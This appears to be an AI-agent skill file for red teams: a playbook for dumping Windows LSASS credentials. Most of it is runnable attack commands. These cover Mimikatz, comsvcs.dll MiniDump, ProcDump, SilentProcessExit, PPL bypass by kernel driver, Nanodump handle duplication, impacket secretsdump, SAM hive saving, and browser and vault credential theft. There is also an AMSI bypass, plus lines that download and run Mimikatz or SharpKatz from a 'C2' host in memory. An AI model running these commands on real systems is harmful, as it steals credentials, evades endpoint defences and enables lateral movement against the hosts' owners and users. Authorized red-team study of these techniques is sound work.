---
name: rt-lsass-dumping
description: "LSASS credential dumping skill for authorized Windows engagements. In-process techniques (no disk write), Mimikatz sekurlsa, comsvcs.dll MiniDump, procdump.exe, Credential Guard bypass, LSASS PPL bypass, remote LSASS dump via impacket, SilentProcessExit dump trick, and EDR evasion approaches. Use when you have local admin or SYSTEM on a Windows host and need to extract cached credentials."
---

# rt-lsass-dumping — Windows LSASS Credential Extraction

## Overview

LSASS (Local Security Authority Subsystem Service) stores credential material in memory for SSO — NTLM hashes, Kerberos tickets, and cleartext passwords (in older configurations). Dumping LSASS is the primary credential harvesting technique in Windows environments and is performed by nearly every red team operator after gaining local admin.

**What you get:**
- NTLM hashes → Pass-the-Hash, crack offline
- Kerberos TGTs → Pass-the-Ticket
- Cleartext passwords (WDigest, if enabled on older Windows)
- DPAPI master keys
- Cached domain credentials

---

## Prerequisites

- Local Administrator or SYSTEM on target Windows host
- If Credential Guard is active: need to use alternative techniques
- If PPL is enabled on LSASS: need PPL bypass first

---

## Check 1 — Is Credential Guard Active?

```powershell
# Check if Credential Guard is running (blocks most LSASS dump techniques)
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object -ExpandProperty SecurityServicesRunning
# 0 = none, 1 = Credential Guard, 2 = HVCI

# Alternative check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags

# If Credential Guard active: NTLM hashes NOT available from LSASS
# Use alternatives: Kerberoasting, ADCS, SAM dump, DPAPI
```

---

## Method 1 — Mimikatz (Classic)

```powershell
# Requires admin/SYSTEM + SeDebugPrivilege
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Output:
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# Session           : Interactive from 1
# User Name         : john.smith
# Domain            : CORP
# NTLM              : fc525c9683e8fe067095ba2ddc971889
# Password          : (null) or cleartext if WDigest

# Kerberos tickets only
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

# DPAPI master keys
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

# In-memory execution (no disk write — evades file-based AV)
# Load via reflection in PowerShell or C# → see Method 5
```

---

## Method 2 — comsvcs.dll MiniDump (Built-in Windows)

```powershell
# No external tools needed — uses Windows built-in DLL
# Requires: admin, SYSTEM, or SeDebugPrivilege

# Get LSASS PID
Get-Process lsass | Select-Object Id
# Or: tasklist | findstr lsass

# Create minidump
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Windows\Temp\lsass.dmp full

# Exfil and parse locally with Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
# Or: pypykatz lsa minidump lsass.dmp
```

---

## Method 3 — Task Manager / ProcDump (Simple)

```powershell
# ProcDump (SysInternals — signed Microsoft binary, less detected)
.\procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Task Manager (if GUI access)
# Task Manager → Details → Right-click lsass.exe → Create dump file
# Saves to: C:\Users\USER\AppData\Local\Temp\lsass.DMP
```

---

## Method 4 — SilentProcessExit Dump Trick (EDR Evasion)

```powershell
# Abuse Windows Error Reporting to dump LSASS without opening a handle to it
# Harder for EDRs to detect — different call path

# Register SilentProcessExit handler for LSASS
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe"
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "ReportingMode" -Value 1
Set-ItemProperty -Path $regPath -Name "MonitorProcess" -Value "C:\Windows\System32\taskhost.exe"

# Trigger WER dump by sending signal to LSASS
# Dump created in: C:\Users\USER\AppData\Local\CrashDumps\
# Note: Requires SYSTEM or specific privileges

# Cleanup
Remove-Item -Path $regPath -Force
```

---

## Method 5 — In-Memory / Reflective Loading (EDR Evasion)

```powershell
# Load Mimikatz entirely in memory via PowerShell reflection
# No binary touches disk

# Using Invoke-Mimikatz (PowerSploit)
IEX (New-Object Net.WebClient).DownloadString('http://C2/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

# Using SharpKatz (C# port) loaded via reflection
$bytes = (Invoke-WebRequest http://C2/SharpKatz.exe -UseBasicParsing).Content
$assembly = [System.Reflection.Assembly]::Load($bytes)
[SharpKatz.Program]::Main(@("--Command", "logonpasswords"))

# AMSI bypass first (see rt-defense-evasion)
[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```

---

## Method 6 — Remote LSASS Dump (From Attack Machine)

```bash
# Impacket secretsdump — no agent on target needed
# Requires: domain creds + SMB/RPC access to target

# With password
impacket-secretsdump corp.local/admin:Password1@10.10.10.50

# With NTLM hash (PTH)
impacket-secretsdump -hashes :fc525c9683e8fe067095ba2ddc971889 corp.local/admin@10.10.10.50

# With Kerberos ticket
export KRB5CCNAME=/tmp/admin.ccache
impacket-secretsdump -k -no-pass corp.local/admin@dc.corp.local

# Output:
# [*] Dumping local SAM hashes
# Administrator:500:aad3b435...:fc525c96...
# [*] Dumping LSA Secrets
# [*] Dumping Domain Credentials
# corp.local\Administrator:$DCC2$...
```

---

## Method 7 — PPL Bypass (Protected Process Light)

```powershell
# Modern Windows enables LSASS as PPL — blocks direct handle opening
# Check if PPL is enabled
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" RunAsPPL
# 1 = PPL enabled

# PPL bypass with PPLdump (kernel driver technique — noisy)
.\PPLdump64.exe lsass.exe lsass.dmp

# PPL bypass with Mimidrv (Mimikatz kernel driver)
mimikatz.exe "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "sekurlsa::logonpasswords" "!-" exit
# Loads mimidrv.sys driver → removes PPL → dumps → re-enables

# Note: kernel driver techniques trigger AV/EDR — use with evasion or in controlled test
```

---

## Method 8 — Handle Duplication (Indirect LSASS Access)

```powershell
# Some EDRs watch OpenProcess() calls to LSASS
# Duplicate handle from a process that already has a handle to LSASS
# e.g., AV/EDR processes themselves often have LSASS handles

# Nanodump — handles this automatically
# github.com/fortra/nanodump
.\nanodump.exe --write C:\Windows\Temp\lsass.dmp --duplicate

# Parse dump
pypykatz lsa minidump C:\Windows\Temp\lsass.dmp
```

---

## Parse Dumps Offline (Linux)

```bash
# pypykatz — parse LSASS dumps on Linux
pip3 install pypykatz

pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump lsass.dmp -o results.json

# Extract specific credential types
pypykatz lsa minidump lsass.dmp | grep -A3 "NTLM"
pypykatz lsa minidump lsass.dmp | grep -A3 "Password"
```

---

## Credential Guard Bypass Alternatives

```bash
# When Credential Guard blocks LSASS: use these instead

# 1. SAM + SYSTEM dump (local accounts only)
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
reg save HKLM\SECURITY C:\Windows\Temp\security.hive
impacket-secretsdump -sam sam.hive -system system.hive -security security.hive LOCAL

# 2. DPAPI master key extraction (password manager, browser creds)
mimikatz.exe "privilege::debug" "dpapi::cache" "dpapi::chrome /in:C:\Users\USER\AppData\Local\Google\Chrome\User Data\Default\Login Data /unprotect" exit

# 3. Browser credential extraction
SharpChrome.exe logins
mimikatz.exe "dpapi::chrome /in:Login Data /unprotect" exit

# 4. Credential Manager
mimikatz.exe "privilege::debug" "vault::cred /patch" exit

# 5. NTDS.dit (domain controller — best source)
# Use DCSync or shadow copy
```

---

## Skill Levels

**BEGINNER:** comsvcs.dll MiniDump → transfer to Kali → pypykatz parse

**INTERMEDIATE:** Mimikatz in-memory via Invoke-Mimikatz → AMSI bypass first · Remote dump via impacket-secretsdump

**ADVANCED:** PPL bypass with Mimidrv · Handle duplication with Nanodump · EDR evasion via reflective loading

**EXPERT:** Handle duplication from EDR process · SilentProcessExit trigger · Custom loader bypassing specific EDR hooks

---

## References

- Mimikatz: https://github.com/gentilkiwi/mimikatz
- Nanodump: https://github.com/fortra/nanodump
- pypykatz: https://github.com/skelsec/pypykatz
- PPLdump: https://github.com/itm4n/PPLdump
- MITRE ATT&CK T1003.001: https://attack.mitre.org/techniques/T1003/001/
